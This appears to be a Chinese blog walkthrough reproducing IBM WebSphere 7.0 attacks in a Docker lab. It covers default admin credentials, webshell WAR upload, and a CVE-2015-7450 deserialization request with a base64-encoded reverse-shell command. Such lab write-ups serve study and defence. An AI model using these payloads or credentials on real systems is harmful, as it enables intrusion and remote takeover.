目录
0X00 指纹特征
0X01 WebSphere简介
0X02 靶场环境搭建
0X03 漏洞复现
0X00 指纹特征
Server: WebSphere Application Server/7.0
登录地址:
http://127.0.0.1:9060/ibm/console/logon.jsp
https://127.0.0.1:9043/ibm/console/logon.jsp
0X01 WebSphere简介
WebSphere是IBM的软件平台。它包含了编写、运行和监视全天候的工业强度的随需应变Web应用程序和跨平台、跨产品解决方案所需要的整个中间件基础设施,如服务器、服务和工具。WebSphere提供了可靠、灵活和健壮的软件。
WebSphereApplication Server Community Edition(简称 WAS CE)是IBM的开源轻量级J2EE应用服务器。它是一个免费的、构建在Apache Geronimo 技术之上的,轻量级Java 2 Platform Enterprise Edition(J2EE)应用服务器。WebSphere Application Server Community Edition 构建于Apache Tomcat和其他最佳开源软件,如OpenEJB,Apache Axis,和 IBM Cloudscape (基于 Apache Cloudscape)。
V9.0.5是IBM WebSphere的最新发行版,它包含许多新的功能,旨在帮助企业轻松迁移到容器模式。
0X02 靶场环境搭建
本次搭建采用Docker环境。
docker search WebSphere7 //查找WebSphere7相关容器
docker pull iscrosales/websphere7 //拉取WebSphere7镜像
docker run -d -p 9060:9060 -p 9043:9043 -p 8880:8880 -p 9080:9080 iscrosales/websphere7 //启动镜像
安装成功页面
0X03 漏洞复现
3.1 后台弱口令
在WebSphere6.x至7.0版本都有“默认用户标识admin登录”功能,即只需要输入“admin”即可成功登录后台。
3.1.1 默认后台登录地址
http://127.0.0.1:9060/ibm/console/logon.jsp
https://127.0.0.1:9043/ibm/console/logon.jsp
3.1.2 默认管理账户密码
system/ manager
websphere/ websphere
3.1.3 影响版本
WebSphere 6.x至7.0
3.1.4 漏洞复现
在http://127.0.0.1:9060/ibm/console/unsecureLogon.jsp管理页面,输入admin提交,成功进入后台管理页面。
3.2 后台管理页面getshell
在WebSphere后台管理页面Applications功能点,可以上传恶意的war包getshell。
3.2.1 漏洞复现
靶场环境:http://127.0.0.1:9060/ibm/console/login.do 【docker】
进入后台管理页面,依次点击Application-WebSphereenterprise applications-install。
制作带有木马的war包。
上传shell.war包。
jar -cvf shell.war shell.jsp
默认Next直至部署成功。
启动shell.war。
访问http://192.168.160.142:9080/shell.jsp出现空白页面。
蚁剑连接成功。
3.3 WebSphere Comments Collections组件反序列化漏洞(CVE-2015-7450)
3.3.1 漏洞简介
ApacheCommons Collections可以扩展或增加Java集合框架,是Commons Proper的一个组件,该组件是一个可重复利用Java组件库。
ApacheCommons Collections (ACC) 3.2.1及4.0版本未能正确验证用户输入,其InvokerTransformer类在反序列化来自可疑域的数据时存在安全漏洞,这可使攻击者在用户输入中附加恶意代码并组合运用不同类的readObject()方法,在最终类型检查之前执行Java函数或字节码(包括调用Runtime.exec()执行本地OS命令)
3.3.2 影响范围
IBM Websphere Application Server 7.0
IBM Websphere Application Server 6.2
3.3.3 漏洞复现
靶场环境:http://192.168.160.142:8880/
3.3.3.1 漏洞验证
漏洞点为SOAP的通信端口8880,使用https发送XML格式数据。如果访问8880端口出现如下界面,则可能存在Java反序列化漏洞。
使用脚本构造payload,该payload是通过base64编码后放在objectname节点中,通过https发送到服务器端,服务器端调用相应的执行函数,将结果发送给客户端,同样,返回的数据也是经过base64编码。
使用Burpsuite抓包,构造数据包,将上面的payload放置在“JMXConnectorContext=”中。
POST / HTTP/1.1
Host: 192.168.160.142:8880
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml
SOAPAction: urn:AdminService
Content-Length: 857
base64payload
getUnsavedChanges
{serObjB64}
rO0ABXVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ACRjb20uaWJtLndlYnNwaGVyZS5tYW5hZ2VtZW50LlNlc3Npb24=
查看docker环境下的/tmp目录,发现已成功建立“success111”文件。
使用websphere_rce.py(https://github.com/Coalfire-Research/java-deserialization-exploits/tree/master/WebSphere/websphere_rce.py)脚本进行检测:
3.3.3.2 反弹shell
python2 websphere_rce.py 192.168.160.142:8880 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2MC4xMjgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" --proto http
3.3.4 指纹
"WebSphere" && port="8880"
原文始发于微信公众号(Matrix1024):WebSphere中间件漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论